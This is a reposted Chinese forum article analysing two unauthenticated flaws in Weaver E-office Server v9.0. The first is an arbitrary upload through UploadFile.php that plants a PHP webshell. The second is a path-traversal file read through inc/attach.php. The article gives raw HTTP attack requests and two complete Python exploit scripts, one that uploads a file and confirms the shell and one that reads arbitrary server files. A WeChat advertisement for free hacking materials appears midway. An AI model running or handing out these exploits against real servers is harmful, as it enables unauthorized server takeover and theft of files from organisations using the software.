ToB企服应用市场:ToB评测及商务社交产业平台
标题:
E-office Server_v9.0 漏洞分析
[打印本页]
作者:
海哥
时间:
2022-9-28 11:32
标题:
E-office Server_v9.0 漏洞分析
漏洞简介
泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是 c:\eoffice
安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到
[img=720,247.23618090452263]https://www.hetianlab.com/headImg.action?news=d3986a78-f543-424b-9d54-a0970c6aa349.png[/img]
代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本
http://www.phpjm.cc/
[img=720,207.4155754651964]https://www.hetianlab.com/headImg.action?news=0e602f59-c8b3-47ee-8552-0acf27476127.png[/img]
利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击
KeymouseGo
[img=720,467.3985680190931]https://www.hetianlab.com/headImg.action?news=5dd4115b-42cb-4cb9-beca-3de80ffb757e.png[/img]
任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175
------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; name="Filedata"; filename="1.php"
<?php phpinfo();?>
------WebKitFormBoundaryykJoMlQs3JMOsgi3--
复制代码
[img=720,321.786133960047]https://www.hetianlab.com/headImg.action?news=df26fc76-23f5-4a62-8ee7-deb59c7a3d33.png[/img]
上传文件的地址
http://10.0.21.14:8082/images/logo/logo-eoffice.php
[img=720,302.0597414177441]https://www.hetianlab.com/headImg.action?news=4e75d3b2-455b-4f99-9958-2c850118cafc.png[/img]
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
漏洞分析
漏洞的主要位于 general/index/UploadFile.php
[img=720,247.33678756476684]https://www.hetianlab.com/headImg.action?news=5779d1db-8401-4c7a-bd79-58e18ba7388b.png[/img]
通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法
[img=720,379.6294335627316]https://www.hetianlab.com/headImg.action?news=a2f015c7-7abb-46b5-925b-56d5faf16f90.png[/img]
没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/"
利用脚本
import sys
import requests
def request_shell(url):
targeturl = url + "/images/logo/logo-eoffice.php"
response = requests.get(targeturl)
if(response.status_code == 200):
print("获取 shell 成功,shell地址为:"+targeturl)
def request_upload(url,data):
targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
targetfile = {'Filedata':('upload.php',data,'text/plain')}
response = requests.post(url = targeturl, files = targetfile)
if(response.status_code == 200):
print("上传成功")
def read_uploadfile(url,filename):
with open(filename) as f:
data = f.read()
request_upload(url,data)
def upload_file(url,filename):
if (filename == "phpinfo.php"):
data = "<?php phpinfo(); ?>"
request_upload(url,data)
else:
read_uploadfile(url,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
upload_file(url,filename)
request_shell(url)
if __name__ == '__main__':
main()
复制代码
任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
复制代码
[img=720,254.8998035363458]https://www.hetianlab.com/headImg.action?news=ea2b5ac2-6c21-4c13-b62a-4e67af9b5bd2.png[/img]
漏洞分析
inc/attach.php
[img=720,529.4356659142212]https://www.hetianlab.com/headImg.action?news=c7769c60-9d20-4527-98f5-3a1055db6779.png[/img]
直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于
[img=720,133.061863743148]https://www.hetianlab.com/headImg.action?news=efdf8bfa-28bc-40e7-a843-2a7fcbaaa1d5.png[/img]
我们看一下文件的下载链接
[img=720,23.587540279269604]https://www.hetianlab.com/headImg.action?news=c3340a1d-25d5-46cb-b748-c11d0c7252bf.png[/img]
利用脚本
import sys
import requests
import re
def save_reponse(re_result,filename):
filename=re.findall("[^/]+$",filename)[0]
# print(filename)
with open(filename, 'w',encoding='gb18030') as f:
f.write(re_result)
def re_response(response):
re_result = response[1507:]
return re_result
def read_file(url,filename):
targeturl = url + "/inc/attach.php?path="+filename
response = requests.get(url = targeturl, allow_redirects=False)
# print(response.text)
re_result = re_response(response.text)
print(re_result)
save_reponse(re_result,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python read_file.py http://10.0.21.14:8082 attach.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
read_file(url,filename)
if __name__ == '__main__':
main()
复制代码
[img=720,140.19080659150043]https://www.hetianlab.com/headImg.action?news=8535a9f5-2f00-4a40-8692-3d0cb8ff953e.png[/img]
还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。
更多靶场实验练习、网安学习资料,
请点击这里>>
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4